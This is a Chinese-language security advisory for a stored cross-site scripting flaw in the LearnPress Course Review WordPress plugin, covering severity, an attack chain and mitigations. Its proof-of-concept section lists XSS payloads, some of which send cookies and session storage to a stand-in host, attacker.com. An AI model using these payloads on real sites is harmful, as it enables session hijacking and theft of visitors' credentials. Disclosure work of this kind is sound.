CVE-2026-24361 CVSS 6.5 中危

CVE-2026-24361 LearnPress课程评论插件存储型XSS漏洞

披露日期: 2026-01-22

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-24361

漏洞类型

存储型跨站脚本(XSS)

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

LearnPress – Course Review

漏洞概述

CVE-2026-24361是WordPress插件LearnPress Course Review中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于ThimPress开发的LearnPress课程评论功能中，由于对用户输入内容缺乏充分的过滤和转义处理，攻击者可以在课程评论中注入恶意JavaScript代码。当其他用户访问包含恶意评论的页面时，注入的脚本代码将在其浏览器上下文中执行，可能导致会话劫持、敏感信息窃取或进一步的钓鱼攻击。此漏洞的CVSS评分为6.5，属于中等严重程度，攻击复杂度低，但需要低权限用户交互。攻击向量为网络形式，攻击者可利用此漏洞对网站访问者造成持续性危害。

技术细节

该存储型XSS漏洞源于LearnPress Course Review插件在处理用户提交的课程评论时，未能正确对特殊字符进行HTML实体编码。当用户提交包含JavaScript脚本标签(如<script>alert('XSS')</script>)或事件处理器(如<img src=x onerror=alert(1)>)的评论内容时，这些恶意代码会被直接存储在数据库中。当其他用户浏览课程评论列表页面时，这些未经过滤的内容会被直接渲染到HTML页面中，导致恶意脚本在受害者浏览器中执行。攻击者可利用此漏洞窃取用户Cookie、会话令牌，或通过DOM操作重定向用户到恶意站点。由于是存储型XSS，攻击代码会持久存在于服务器端，所有访问该页面的用户都会受到影响。

攻击链分析

STEP 1

步骤1

攻击者注册并登录WordPress网站，获取低权限用户账户

STEP 2

步骤2

攻击者访问任意课程页面，找到课程评论表单

STEP 3

步骤3

在评论表单中注入恶意JavaScript代码作为XSS payload

STEP 4

步骤4

提交包含XSS payload的评论内容，payload被存储到数据库

STEP 5

步骤5

受害用户访问该课程页面，页面加载评论列表

STEP 6

步骤6

评论内容被渲染到HTML页面，XSS payload在受害者浏览器执行

STEP 7

步骤7

恶意脚本窃取用户Cookie、会话信息或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2026-24361 PoC - Stored XSS in LearnPress Course Review -->
<!-- Submit this payload in the course review form -->

<!-- Basic script tag payload -->
<script>alert(document.cookie)</script>

<!-- Image onerror event handler -->
<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>

<!-- Event handler via SVG -->
<svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>

<!-- Form action manipulation -->
<form action='https://attacker.com/phish' method='POST'>
<input name='password' type='password'>
</form>

<!-- Payload to steal session storage -->
<script>
var data = '';
for (var key in sessionStorage) {
  data += key + ': ' + sessionStorage[key] + '\n';
}
fetch('https://attacker.com/exfil?data=' + encodeURIComponent(data));
</script>

影响范围

LearnPress Course Review <= 4.1.9

防御指南

临时缓解措施

在官方修复版本发布之前，可采取以下临时缓解措施：1)限制课程评论功能权限，仅允许受信任用户提交评论；2)部署Web应用防火墙(WAF)规则过滤恶意XSS payload；3)对评论内容实施关键词黑名单过滤；4)考虑临时禁用课程评论功能；5)加强网站安全监控，及时发现异常请求和攻击行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表